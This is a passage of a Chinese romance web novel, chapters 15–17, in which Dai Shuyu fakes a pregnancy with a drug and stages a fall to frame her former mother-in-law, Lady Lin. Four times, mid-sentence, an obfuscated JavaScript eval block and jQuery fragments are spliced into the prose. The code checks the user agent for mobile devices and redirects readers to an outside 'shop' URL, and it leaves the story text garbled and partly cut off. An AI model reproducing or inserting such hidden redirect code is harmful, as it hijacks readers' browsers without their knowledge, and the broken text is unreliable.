蔺府请来的大夫只知是为府上的一位少夫人诊脉,并不知内情。 众人皆知蔺夫人生性泼辣,不是个好相与的,此刻都拿出了十二分的认真,仔细为戴纾语把脉。 “蔺夫人,少夫人确实已有身孕。不过——” “不过什么?”蔺夫人眼神都亮了起来。 张大夫有些为难地张了张口,好半晌才憋出一句话来,“少夫人身体虚弱,脉象紊乱,须得好生将养,否则胎儿难保。” 其余几名大夫诊脉后,亦得出同样的结论,“少夫人长期营养不良,又受了莫大惊吓,底子实在太差,不利于胎儿成长。” “……” “当真怀有身孕?”蔺夫人实在不敢相信,戴纾语与蔺清辉和离不过一年有余,竟是怀上了蔺星斓的孩子。 两人莫不是早就暗通款曲了? 思及此,蔺夫人眉头紧紧皱起,投向戴纾语的眼神里潜藏着难以掩饰的凶光。 “蔺夫人,少夫人怀有身孕一事不假,身子欠佳亦不假。可否需要老夫开一剂安胎药?” 不容蔺夫人回话,戴纾语连忙开口接过话茬:“多谢张大夫!” 说罢,她转过身来望着蔺夫人,伸出一只手去握住对方手腕,“蔺夫人,您不信我,总该相信蔺府请来的几位大夫吧!” 闻得此言,那几名大夫面面相觑,这才意识到此番诊脉并不简单,其中大有文章。 蔺夫人扫了眼屋内众人,心中火气更甚,大有燎原之势。然,尚有外人在,她只得强压下怒火,命人将大夫送走。 房门在眼前缓缓阖上,蔺夫人再无顾忌,随即猛地一用力,甩开戴纾语的手,眼神里的嫌恶之色将要满溢出来了。 “不知廉耻的女人,倒是让你得逞了!” 手指磕在床沿上,疼得戴纾语不由惊呼一声,“蔺夫人,您弄疼我了。”她兀自将手指举到眼前,只见指尖泛红肿胀,确实撞得不轻。 “星斓,”戴纾语抬眸望向蔺星斓,眼眶湿润了,声音也哽咽了,“我——我的手好疼!” 蔺星斓接收到信号,快步来到床榻前,压低声音道:“母亲,莫要冲动。如今纾语腹中已有我蔺家的骨肉,我们便是一家人,还望母亲往后不要为难她。” 蔺夫人瞪着这个不争气的小儿子,牙齿都要咬碎了。 “星斓,你是存心要气死为娘啊!”说罢,长长地叹一口气,在云苓的搀扶下转身离开了。 房门再次阖上,戴纾语甩了甩手指,赶紧起身找药膏,“你母亲手劲挺大啊!手指头都给我撞肿了!” 蔺星斓帮着她在屋子里翻箱倒柜,兀自解释说:“她老人家是被你气昏头了。” 戴纾语从柜子里翻出药箱,示意蔺星斓帮她打开,“你不会没看出来,她昨夜想要弄死我!” “哪有你说的这样严重?”蔺星斓手上动作一顿,险些将药箱掀翻在地,“她不过是难以接受你我之间的关系。” “你是真蠢?还是装傻?”戴纾语屈起指节戳了戳他胸口,揶揄道,“瞎子都能感受到她的杀气了!” 蔺星斓:“……” “行了!”戴纾语一屁股坐在椅子上,下巴微抬,示意蔺星斓把其中一盒药膏取出来,“我手指疼得厉害,你帮我上药。” 蔺星斓瞪着她,身形不动。 “怎么了?”戴纾语下意识蹙眉,“替你母亲打抱不平?” “戴纾语,”蔺星斓从药箱里取出一枚小瓷瓶,顺势在戴纾语身旁的椅子上坐下,“你可是忘记什么事情了?” “什么事情?”戴纾语不明就里。 “我们说好的,你要告诉我事情的走向。方才大夫为你诊脉,我可是为你捏了一把汗!” “就这事?” 蔺星斓眉梢微挑,微微往前倾身朝她靠近,“怎么做到的?” “不是同你说过吗?”戴纾语动了动手指,让他赶紧上药,“一种灵药,服用后会让女子的脉象呈喜脉。” 蔺星斓取出一块药膏,均匀地涂抹在她手指上,“什么灵药?” “打听那么多作甚?”戴纾语略显不耐烦,“若不是为了给你送疗伤的灵药,我至于落到如今这般田地?眼看着跟你兄长复合无望,你还追根究底——” 话未说全,屋外传来叩门声,菘蓝提高音量唤道:“二公子,老太爷唤你过去一趟,说是有要事交代。” “来了。”蔺星斓将小瓷瓶放回药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897369|192270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 箱里,站起身来就要往外走。 “老太爷?”戴纾语疑惑地望着他,“你祖父找你作甚?莫不是逼你跟我分开?” “不会。”见她一副如临大敌的模样,蔺星斓忍俊不禁,兀自解释说,“祖父最是疼爱我,不会强迫我做任何事。” 戴纾语将信将疑,遂朝他挥了挥手,叮嘱道:“别说漏嘴了,否则前功尽弃。” 目送蔺星斓出了房门,戴纾语轻轻吹了吹隐隐作痛的指尖,直叹没有多拿一些疗愈叶回来。 天色渐渐暗沉下来,她尚未用晚膳,此刻肚子饿得咕咕直叫,想着去厨房拿点吃的回来,随即推开门往厨房的方向去。 岂料,一只脚刚踏进厨房,便撞见一道略显熟悉的身影。 “清辉,”戴纾语欣喜地唤道,“好巧啊!你也饿了吗?” 蔺清辉皱眉,“母亲有些上火,我为她拿一些降火的汤药。” 戴纾语摸了摸鼻尖,并未接茬,让开身形让出一条路来。 蔺清辉端着小托盘往外走,刚走出去几步,又回过头来看她,“戴姑娘,我不知你千方百计留在蔺府,有何意图。但——” 停顿片刻,他加重语气道:“你若是欲在我眼皮子底下对蔺府,抑或对星斓不利,我不会顾念旧情。” 戴纾语撇撇嘴,终究没忍住将心里话说出口来,“清辉,你从来就未对我顾念过旧情。” “你说这话是何意?”蔺清辉眉头皱得更深了。 戴纾语往前几步,距离他更近了些,“当初我与你和离,本就是你想要的结果,不是吗?” “戴姑娘,”蔺清辉神色愈发难看,语气里似透着冰碴,“不知你从何处听信了谣言,如今来与我纠缠,究竟有何目的?” “你早就与花家大小姐私定了终身,不是吗?在我们和离之前。” “胡言乱语!”蔺清辉双手紧紧扣住托盘,用力到指节泛白,“花家大小姐稳重端方,岂是你能随口污蔑的?” “那——”戴纾语放轻声音,努力让自己看起来柔弱可欺,“那你怎么解释,我们和离不过一年,你便与她如胶似漆,难舍难分呢?” “笑话!”蔺清辉嗤笑一声,“戴姑娘,你有什么资格要求我向你解释?” 戴纾语敛眸,伸出手去攥住他袖口,“清辉,我其实——我其实没有坏心思,一直以来,我眼里心里都只有你。从前的事,我可以不计较,你与花家大小姐之间的事,我亦可以装作不知情。” 说到这里,她顿了顿,硬着头皮道:“我跟星斓只是一时糊涂,才做了错事,你原谅我好不好?再给我一次机会!” 蔺清辉甩开她的手,疾言厉色,“戴姑娘,我早就同你说过,你我早已和离,并无任何关系,你的事,与我无关。” “你好自为之,若要继续留在蔺府,行事规矩些为好。莫要伤害星斓,更不要做对蔺府不利之事。否则,你知道会有何种下场。” “我——” “兄长!” 蔺星斓不知何时出现在门口,见状,加快步伐来到两人中间,“兄长,戴姑娘如今已是蔺府中人,还望兄长不计前嫌,莫要为难她。” “星斓,你——”蔺清辉瞥了眼戴纾语,欲言又止,“罢了,我先为母亲送汤药过去。” “兄长慢走!” 蔺星斓朝他挥了挥手,旋即转过身来望着戴纾语,“你到厨房来做什么?” “我还想问你呢!”戴纾语瞪了他一眼,“无故出现坏我好事,你皮痒了是不是?” 15. 15 “大事不妙了!”蔺星斓略显夸张地说。 戴纾语心下大惊,不由跟着紧张起来,“蔺老太爷怀疑我了?” “不是。”蔺星斓缓缓摇头,“祖父得知你怀有身孕,让我们尽早成亲。” “我们?”戴纾语指了指自己的胸口,怀疑自己听错了。 “我们。”蔺星斓肯定道,“你与我。” “不行!不行!”戴纾语连连摇头,成婚一事可不在她的计划之内,“你赶紧想办法拒了这桩婚事。” “戴纾语,”蔺星斓眉梢微挑,略微俯身凑到她面前,“当初你做决定的时候,并未跟我商量,如今捅了这样大的娄子,却要我负责善后。你把我当什么了?召之即来挥之即去的——工具?” “你想怎样?”戴纾语自知理亏,面上却不显,指尖用力戳了戳蔺星斓紧实饱满的胸口,“莫非——你当真想跟我成亲?” “你——”蔺星斓拍开她的手,一时语塞,“轻佻是你的本性吗?”他没忍住揶揄道。 “是的。”戴纾语并不否认,“你跟你母亲不都骂我水性杨花、不知廉耻吗?” “我可没有骂过你不知廉耻。”蔺星斓立马反驳道,“水性杨花倒是不假。” “你究竟有何打算?”眼下这个节骨眼上,他并无成婚的计划。 “你去跟蔺老太爷说,不愿赶在你兄长之前成婚,不就妥了?” 蔺星斓抱臂环胸,幸灾乐祸地说:“我说过,你自己捅的娄子,自己想办法解决。若要我帮忙,除非——” “除非怎样?” “答应我一个条件。” “你三岁吗?又玩这种把戏。”戴纾语一时无语,“说吧!这次又要我答应你什么条件?不在人前让你难堪?” 蔺星斓瞪了她一眼,“我尚未想好,待我想好了再同你说。” “我不答应。”戴纾语毅然拒绝了,空头支票风险最大,谁知道对方打什么歪主意呢! “那我们成亲吧!”蔺星斓往前两步,故意凑到她耳畔低语道,“我若是比兄长先成家,指不定会有意想不到的收获呢!而且——” 他蓦地抽回身,不怀好意地笑了笑,“与前嫂嫂成婚,若是传出去,这桩婚事定能够在京城掀起滔天大浪,让无数闲人津津乐道。” 戴纾语微微往后仰首,与他拉开一段距离,“蔺星斓,未曾料到,你也有这种癖好!” “什么癖好?” “你早就觊觎你嫂嫂了吧?在你兄长与我和离之前,你跟那些喜爱跟人.妻纠缠不休的狗男人有何区别?” “我——”蔺星斓顿时瞠目结舌,“戴纾语,你怎么什么话都能说出口?你还是个姑娘家吗?” “当然不是!”戴纾语信口胡诌道,“我与你兄长成亲一年有余,早已嫁作他人妇,哪里算得上姑娘家。” “不与你废话了。”自知吵不过,蔺星斓立马噤声。 戴纾语转身就要往外走,岂料刚迈出去几步,就被蔺星斓攥住袖口拽回来。 “不闹了!你到底作何打算?往后我们商量着行事,可好?” “问那么多作甚?”戴纾语略显不耐烦,“你不帮我,我可以自己想办法。” “我没说不帮,我只是想要你答应我一个条件。”蔺星斓兀自解释说,“我总不能白做好人吧!回报之类的,该有的不能少。” “你想要何种回报?”戴纾语禁不住笑出声来,“以身相许吗?” “你能不能正经一点?”蔺星斓顿时急了,“都火烧眉毛了,还有心思贫嘴。” “我说过,我自己能解决。”戴纾语转身就走,加重语气道,“不需要你出手相助。”大不了将计划提前。 虽说有风险,但总好过将希望寄托于别人。 望着她逐渐远去的身影,蔺星斓心底竟生出了一股被人抛弃的错觉。 次日,正值蔺星斓休沐,刚起身便听见他房中的几名小厮在屋外窃窃私语。 “菘蓝。”蔺星斓望向门外唤了一声。 菘蓝立马推门进屋,“二公子,您总算是醒了!”他快步来到床榻前,伺候蔺星斓盥洗更衣,“戴姑娘与夫人在厨房起了争执,您快去瞧瞧吧!” “起争执?”蔺星斓手上动作一顿,“她没去药铺?” 菘蓝解释道:“戴姑娘身子不适,今日告假了。” 闻得此言,蔺星斓心里咯噔一下,一股不祥的预感渐渐在心底滋长。 梳洗完毕,他领着几名小厮匆匆往厨房的方向赶。 “戴纾语,”蔺夫人气得满面通红,颤抖着手指指向戴纾语,指尖几乎戳进她眼睛里,“如今你如愿留在蔺府,可别忘了自己的身份!” 戴纾语偷瞄了眼厨房门口,见了来人,遂不露声色地收回视线,提高音量道:“蔺夫人,我怎会忘记自己的身份呢?说到底,我不过是清辉的前妻,在蔺府只是个外人罢了。” “你还想怎样?”蔺夫人恶狠狠地瞪着她,没好气地道,“想让星斓风风光光娶你进门吗?” “我从未如此奢望过。”戴纾语吸了吸鼻子,声音也哽咽了,“我房中连个伺候的丫鬟都没有,哪里敢奢求星斓愿意明媒正娶,将我迎进蔺府呢!” “好啊!”蔺夫人冷笑一声,那神情,恍若抓住了不得了的把柄,“终于说出实话了!你是在埋怨我没有安排人伺候你?也不看看你是个什么货色!” 戴纾语按捺住内心涌动的情绪,委委屈屈地道:“蔺夫人,我哪里敢因着此事埋怨你老人家?这不,连汤药都是我亲自动手煨,不敢惊动旁人。” 说罢,她捧着一碗热气腾腾的汤药,慢腾腾地往厨房外去。 “站住!”蔺夫人疾言厉色,伸手拦住了她的去路,“这是什么汤药?” “张大夫开的安胎药。”戴纾语如实道。 “哼!”蔺夫人紧紧盯着她的肚子,眼神里似能喷出火来,“肚子倒是争气!” “蔺夫人,若是没有别的吩咐,我先回屋了。”说罢,戴纾语抬脚继续往前走,经过蔺夫人身旁时,她刻意放缓步伐,手臂紧贴着她肩膀擦过。 “看着点路!”蔺夫人颇有些嫌弃地搡了她一把,“莫要将你身上的晦气沾染到我身上!” “哎呦!”戴纾语脚下踉跄几步,整个人猛地往前扑倒,手里的安胎药连带那只盛药的瓷碗一并摔落到地上,随着“哗啦”一声脆响,浓黑的药汤溅了戴纾语满身满脸。 “戴姑娘,”蔺星斓几大步来到戴纾语跟前,意欲将人扶起来,“摔着哪里了?” 戴纾语趴在地上不动,一只手紧紧捂住腹部的位置,痛苦地呻吟着,“星斓,我肚子疼得厉害。” “肚子疼?”许是意识到了什么,蔺星斓下意识皱眉,手上一用力,想要将人抱起来。 岂料,戴纾语就跟秤砣一样,赖在地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897370|192270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上纹丝不动,“你快请大夫来帮我看看,好不好?”她抬起眼来望着蔺星斓,湿润的眼眶里满是委屈的泪水。 “怎么回事?”蔺夫人终于从震惊中回过神来,在云苓的搀扶下快步来到戴纾语身后。 “母亲,”蔺星斓紧咬双唇,好半晌才憋出一句话来,“纾语磕着肚子了。” “啊?”蔺夫人猛地后退两步,整个人陷入了恐慌之中。 昔日蔺老太爷明文规定,蔺府上下不可伤害幼子,后宅中若是因争风吃醋对子女下手,家法伺候,重者驱逐出家门,永不得踏入蔺府半步。 “夫人!”几名丫鬟将蔺夫人团团围住,云苓连忙伸手去掐她人中。 折腾了半晌,蔺夫人才悠悠转醒。 “还愣着做什么?”她蓦地提高音量吼道,“快去请张大夫来!” 一名丫鬟慌里慌张往外跑,转瞬间不见了踪影。 …… “张大夫,戴姑娘怎么样了?”蔺星斓心情复杂,守在床榻上未离开半步。 “少夫人的命是保住了。但——”张大夫长长地叹一口气,满是皱纹的面容笼罩着深深的愁绪,“少夫人腹中的胎儿,没了。” 听了这番话,蔺夫人猛地从椅子上站起身,又因双腿抖得厉害,复又沉沉地坐了回去。 “孩子,当真保不住?”蔺夫人仍不死心,颤巍巍地来到床榻前,“张大夫,你是城中最为有名的大夫,你定有法子保住孩子。” “蔺夫人,孩子已经流掉,保不住了。”张大夫面有难色,斟酌着字句,将真相道出口来,“再者,往后少夫人亦再难受孕,无缘做母亲了。” “啊!”蔺夫人双腿抖得厉害,两眼一翻,整个人如脱力一般往下坠,栽倒在地不省人事。 “夫人!夫人!” “……” “都走了吗?”戴纾语从锦被里探出头来,眼睛不住往门口的方向瞟。 蔺星斓顺手将房门阖上,转过脸来瞧她,“戴纾语,这便是你想出的解决办法?是不是太过分了?” “过分吗?”戴纾语掀开锦被下了榻,“你母亲可是存心置我于死地,她明知道我怀有身孕,为何要推我?” “她不可能对你腹中的孩子不利。” “是吗?”戴纾语慢条斯理地理了理在被窝里揉皱的衣裳,不以为然,“人一旦气急了,并不会顾及后果。” 闻言,蔺星斓立马警惕起来,“你知道我母亲会受到何种惩罚?” “不知道。”戴纾语耸耸肩,“不过,看她那副反应,应当不会有好下场吧!” 听她轻飘飘地说出这番话,蔺星斓无端觉得心寒,恍若第一次看清了她的真面目。 “你接近兄长,究竟有何目的?”蔺星斓没头没尾地问道,“我不信你只是为了跟他复合。” 戴纾语不接茬,自顾自倒了一杯热茶饮尽,遂抬眸望着他,“你呢?” “我怎么了?”蔺星斓不明就里。 “你为何不拆穿我?你分明有多次机会可以拆穿我,将我的把戏公之于众,你却没有。” 蔺星斓偏头,躲开她灼灼的目光,“我说过,不想欠人你情。” 戴纾语起身,缓步来到蔺星斓跟前,直勾勾地盯着他的眼睛。 “你有不愿意告诉我的理由,我表示尊重,从不过问。但是,你为什么非要追问我的企图呢?彼此相安无事,不好吗?” 16. 16 “相安无事?”蔺星斓冷笑一声,“你觉得我们之间像是相安无事吗?” 戴纾语神色微顿,“你说这话是什么意思?” 蔺星斓:“假象罢了。” 闻言,戴纾语略显不耐烦,“蔺星斓,有话直说,不必跟我拐弯抹角。” “我明知道你留在蔺府另有目的,如何能跟你相安无事?” “你跟你兄长一样,担心我会做出对蔺府不利之事?”戴纾语突然笑了起来,“放心!除了蔺清辉,我对蔺府其余人并无兴趣。” “兄长找你只为此事?” “不全是。”戴纾语回到书案旁坐下,屈起指节有一下没一下地敲击着桌沿,“他让我不要伤害你。不然,让我没有好下场。” 听了这番话,蔺星斓不由僵立在原地。 “发什么愣?”戴纾语戳了戳他胸口,“感动得快哭了吗?” “别闹!”蔺星斓拍开她的手,在戴纾语对面的椅子上坐下,“兄长相信你留在府上只是为了跟他复合的说辞吗?” “不信。”戴纾语并未隐瞒,“他心里跟明镜似的,只当我想对蔺府中人不利。” “那你还折腾什么?”蔺星斓幸灾乐祸地“啧啧”两声,“你爱的人不爱你,这是一件多么令人悲伤的事啊!” “爱不爱的,不重要。” 蔺星斓听得瞠目结舌,“那你想怎样?霸王硬上弓?直接把他绑到床上,生米煮成熟饭?你——” 话未说全,戴纾语突然发难,伸出手去扣住他脖颈,将人摁在书案上,“皮痒了是吧?” “疼疼疼!”蔺星斓连连求饶,疼得额角冷汗直冒,“我好歹帮了你一个大忙,你能不能温柔一点啊!” “一码归一码。”戴纾语松开手,不忘趁机奚落他一番,“蔺星斓,你当真是体虚得厉害!明镜司任职前不用考核吗?像你这样的体格都能混进去!” 蔺星斓冷哼一声,大言不惭地说:“朝中有人,不需要考核。” “不愧是游手好闲的草包,身无长物。” 蔺星斓不以为然,“戴纾语,你记清楚了,正是你眼前这个草包,救你于水火,让你在蔺府不是孤身一人。” “行了。”戴纾语懒得跟他胡扯,“让我由衷地对你表示感谢。” 蔺星斓甩了甩手腕,禁不住埋怨道:“你上次答应过我,不再动手打人,你食言了!” 戴纾语微微睁大双眼瞪着他,“我就碰了下你的脖子,这也算动手打人?” “你弄疼我了!”蔺星斓不服气的哼唧两声。 “你还真是娇弱!” 蔺星斓不接茬,自顾自道:“你食言了!” “你究竟想怎样?”戴纾语耐心将要耗尽了。 蔺星斓:“再答应我一个条件,作为补偿。” “你做梦!” 正说话间,屋外传来菘蓝焦灼的声音:“二公子,夫人醒了,意识有些不清醒。” 蔺星斓下意识皱眉,投向戴纾语的视线怨气十足。 戴纾语置若罔闻,遂站起身来,作势往屋外去。 “不行。”蔺星斓忽地拽了她一把,双手轻轻摁住戴纾语肩膀,“你刚‘流产’,不便外出。” 这话倒是提醒了戴纾语,一时心急,险些误了大事。 她连忙转身回到床榻前,从床头的柜子里翻出一顶毛茸茸的帽子戴上了。旋即从妆奁里取出妆粉往嘴唇上抹,把嘴巴涂得惨白,整个人看上去气色极差。 “这样看起来足够虚弱了吧?” 蔺星斓嘴角抽搐,欲言又止。 戴纾语一只手搭在他手腕上,由他搀扶着迈进蔺夫人房中,只见张大夫正在为蔺夫人号脉。 “张大夫,我母亲如何了?”蔺星斓率先开口问道。 “蔺夫人身体并无大碍,只是受了莫大惊吓,神识受创,不记事了。” 闻得此言,蔺清辉回眸望向戴纾语,眼神里满是警告的意味。 戴纾语移开视线,默默退到蔺星斓身后。她轻轻拽了下蔺星斓的袖口,压低声音道:“要不,我先回去吧?” 蔺星斓尚未来得及回应,只见蔺夫人猛地从床榻上坐起身来,手指指向戴纾语所在的方向。 “她来了!她来找我索命来了!” 张大夫顺着她手指的方向看来,“蔺夫人,谁来找你索命来了?” “她的孩子死了!她的孩子被我摔死了!”蔺夫人瞪圆了双眼,直勾勾地瞪着戴纾语,突然放声大笑起来。 张大夫朝着蔺清辉缓缓摇头,“镇抚使大人,蔺夫人这是癫狂之症发作。老夫开一剂镇定安神的良药,先行让蔺夫人服用一段时日。” 蔺清辉谢过张大夫,又问他可有何种注意事项。 张大夫侧目望向戴纾语,为难道:“尽量不要让蔺夫人受到刺激,否则,或将加重病情。” “我这就带纾语离开。”蔺星斓连忙接过话茬,“母亲这里,有劳兄长费心了。” 蔺清辉黑沉着脸,投向戴纾语的眼神里满是不悦,像是要将她生吞活剥了似的。 戴纾语偷偷朝蔺夫人所在的方向望去,总觉得此事必有蹊跷,蔺夫人那样一副性子,怎么可能说疯就疯了。 正思忖间,蔺夫人挣脱开蔺清辉,猛地朝戴纾语扑来,“异类!她是异类,快抓住她!别让她跑了!” “蔺夫人,”戴纾语用力挣脱开她的禁锢,“你认错人了,我不是异类。” “她是异类,快把她关进诏狱里!” 蔺夫人手脚并用,张牙舞爪,折腾得头发都散开了,一只手颤巍巍地指着戴纾语,口中不停重复道:“她是异类,她的孩子也是异类!我把她的孩子摔死了!我把异类的孩子摔死了!哈哈哈——” 戴纾语愈发觉得对方是在装疯卖傻,不禁抬眼去看她,视线交织,蔺夫人忽而变得激动起来,一手指着戴纾语,双腿不住地往后退。 “快抓住她!别让她跑了!” 蔺清辉紧紧锁住她双臂,低声安抚道:“母亲,你认错人了,她不是异类。” 眼看着戴纾语一只脚迈出门去,蔺夫人用力挣脱开蔺清辉的束缚,飞快朝门口跑去,双手紧紧攥住戴纾语的胳膊。 “我抓到她了!快把她关进诏狱里!” 蔺夫人力气极大,双手勒住她胳膊,疼得戴纾语倒抽一口冷气,心脏也跟着怦怦狂跳。 蔺清辉赶紧上前制住蔺夫人,就在她松开手的瞬间,戴纾语只觉胸口处传来一阵尖锐的刺痛,像是有一根细长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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戴纾语浑身如脱力一般,说话的声音也瓮声瓮气的,“我心里有数,不劳你操心。” “戴纾语,你可真行!”蔺星斓紧紧皱着眉头,“为达目的,竟是连自己的身体都不顾了。” 听了这话,戴纾语无端生出点怨气来,遂掀开锦被,双眸直盯着蔺星斓,“若非蔺老太爷要我跟你成婚,打乱了计划,我也不至于冒着风险将计划提前。” “你这是在怪罪他老人家?”蔺星斓愤愤地说,“祖父认为终究是我们蔺府亏欠你,让我尽快与你成婚,不让外人说闲话。你倒好——” 戴纾语不接茬,兀自翻了身不理人。 蔺星斓越想越是气愤,对方又是这个态度,他内心的愠怒渐渐蔓延,大有燎原之势。 “戴纾语,你早就想好了如何解决孩子的事,而今如愿了,你满意了?” “是的,解决了这个大麻烦,我满意极了。” 沦为她人棋子,蔺星斓心有不甘,咬牙切齿道:“为达目的,还有什么是你不会算计的?” 戴纾语转过脸来看他,似笑非笑,“没有。你看见了,我连自己都下得去手。” 17. 17 “如今你如愿留在蔺府,没有后顾之忧,应该知足了吧?”蔺星斓略微皱眉,语调里带着明显的不悦。 “后顾之忧?”戴纾语不解地望着他,“你是指不必跟你成亲吗?” 蔺星斓冷哼一声,“我母亲犯了癫狂之症,再无人阻拦你接近兄长,你可以在蔺府为所欲为。” 提起这茬,戴纾语蓦地想起一桩事来,随即试探道:“你当真觉得你母亲意识不清醒?” “你说这话是何意?” 戴纾语掀开锦被坐起身来,“可以帮我倒杯水吗?我嗓子疼。” “你现在使唤我倒是愈发熟稔了。”蔺星斓瞪了她一眼,顺手从桌案上倒来一杯热茶递到戴纾语面前。 “我是病人,大病初愈,手无缚鸡之力。”戴纾语大言不惭,说罢,缓缓将杯子里的热茶饮尽了。 蔺星斓不接茬,兀自追问道:“你提及我母亲的事,究竟是何意?” “我怀疑她装疯卖傻,并非当真受惊过度,神识受创。”戴纾语无意隐瞒。 闻得此言,蔺星斓明显地迟疑了一下,投向戴纾语的视线意味不明。 “你怀疑我母亲为躲避责罚,装疯卖傻?” “不只是逃避责罚。”戴纾语肯定道。 听到这里,饶是蔺星斓再迟钝,也领会到她话里的意思,内心一股无名火逐渐冒出苗头。 “戴纾语,你以为所有人都如你这般,为达目的,不择手段?” “谁知道呢!”戴纾语耸耸肩,“我习惯把人往最坏的方面想。毕竟,蔺夫人曾试图把我关押进明镜司的诏狱里,想要置我于死地。” “你——”蔺星斓张了张口,好半晌未能够说出一句完整的话来。 “怎么,因她是你母亲,你不愿承认吗?”戴纾语并未给他留情面。 “我母亲推你的时候,你腹中并没有孩子。再者——”蔺星斓沉吟片刻,接着道,“你是怎么摔倒的,你自己心里最清楚。” 听了这番话,戴纾语腾地坐直身形,眼睫眨也不眨地盯着蔺星斓,“听你这话的意思,怀疑我故意在你母亲跟前摔倒,诬陷她?” “并非不可能。”蔺星斓垂眸望着她,“确实是你能做出来的事。” “罢了!”戴纾语径直躺下,拉过锦被蒙在脸上,“我不与你争论,对方是你生母,你向着她无可厚非。” “我只是就事论事,并未向着谁。”蔺星斓冷笑一声,“在兄长眼里,我应是向着你的。” 戴纾语不接茬,假装睡着了。 蔺星斓气不过,径直走过去拉开锦被,“你想憋死自己吗?” “一时半会儿死不了,不劳你费心。”戴纾语懒洋洋地掀开眼皮看他。 说罢,她忽地想起了什么,双手撑着床榻就要起身。 “你往哪里去?” 戴纾语一面往脚上套靴子,头也不抬,“我去厨房煎药。”说着,她站起身来,从柜子里取出一包配好的中药。 望着她煞白的脸,蔺星斓到底于心不忍,“药给我,我帮你煎。” “不必麻烦了。”戴纾语抬脚就欲往门外走。 “给我!”蔺星斓从她手里夺过包中药的纸包,没好气地说,“路都走不稳了,逞什么能!” 戴纾语紧抿双唇,眼睛直直地瞪着他,“把药还给我,不需要你同情。” 蔺星斓闭了闭眼,勉力将心底的愠怒往下压,“并非同情。我只是担心你在蔺府出了意外,被外人知晓了,说我们蔺府虐待病人。” 戴纾语没忍住笑出声来,趁其不备从蔺星斓手里夺回药包,径直打开房门迈了出去。 “此药煎制方法特殊,我不放心交给别人。” 蔺星斓拗不过她,紧跟着追了出去,“担心别人给你下药吗?” “你没完没了了?”戴纾语停下步伐,扭过头来看他,“我是这般小肚鸡肠之人吗?” “不知道。”蔺星斓直视着她的眼睛,一字一顿道,“毕竟,直到今日,我才看清了你的真面目。” “当真看清了?”戴纾语微微往前倾身,意味深长地望着他笑了起来。 “无聊!”蔺星斓错开身形,率先往院门口走去。 岂料,一只脚刚踏出院门,只见蔺清辉只身站在门外,倒像是等候多时了。 “兄长,你怎么来了?” 蔺清辉未接茬,兀自问道,“往哪里去?” 蔺星斓回首指了指身后之人,解释说:“纾语身体不适,我去厨房帮她煎药。” “嗯。”蔺清辉略微颔首,旋即看向紧随其后的戴纾语,“我有件事想要向戴姑娘打听一二,不知戴姑娘可有时间?” 意外接二连三地发生,戴纾语正愁找不到机会跟蔺清辉拉近关系,此刻闻言,险些当场笑出声来。 当真是瞌睡来了有人递枕头! 想什么来什么! “清辉有事找我,我自是有时间的。”她柔声应道。 听得蔺星斓在一旁直皱眉,却不好当面戳破她,只得望向蔺清辉,道:“兄长,那我先去厨房煎药。” 说罢,自然而然地从戴纾语手中接过药包,转身就往厨房的方向去。 目送蔺星斓的身影逐渐远去,戴纾语转过脸来望着蔺清辉,“清辉,你找我有什么事吗?” “托你的福,母亲如今谁都不记得了。” 戴纾语假装听不懂他话里的揶揄,好心宽慰道:“清辉,蔺夫人不必因触犯家规而被赶出蔺府,也算得因祸得福。” 蔺清辉冷笑着看她,“如此说来,应当感谢你才是。” “倒也不必客气。”戴纾语低垂着头,温声细语道,“蔺夫人与我之间确实有些误会,而今她老人家遭遇不测,我心里也很是过意不去。当日我不该冲动行事,她是长辈,理应多让她才是。” 蔺清辉快要听不下去了,眉头紧紧皱起,投向她的眼神里满是嫌恶。 “戴姑娘,我曾警告过你,莫要在我眼皮子底下搞小动作,否则,不会有好下场。” 戴纾语抬眸朝他看来,湿润的眼眶渐渐泛红,“清辉,你说这话是什么意思?威胁我吗?” 蔺清辉早已不吃她这一套,遂加重语气道:“我母亲的事,希望不要再发生第二次。你好自为之。”说罢,抬脚就要离开。 “清辉,你先别走!我有话对你说。”戴纾语连忙伸出手去,紧紧攥住对方袖口。 蔺清辉瞥了眼衣袖,随即用力甩开她的手。 “有话说话,拉拉扯扯,成何体统?” 戴纾语讪讪地收回手,硬着头皮开口:“清辉,我与星斓的孩子没了,我跟他之间的关系算是走到了尽头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897372|192270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 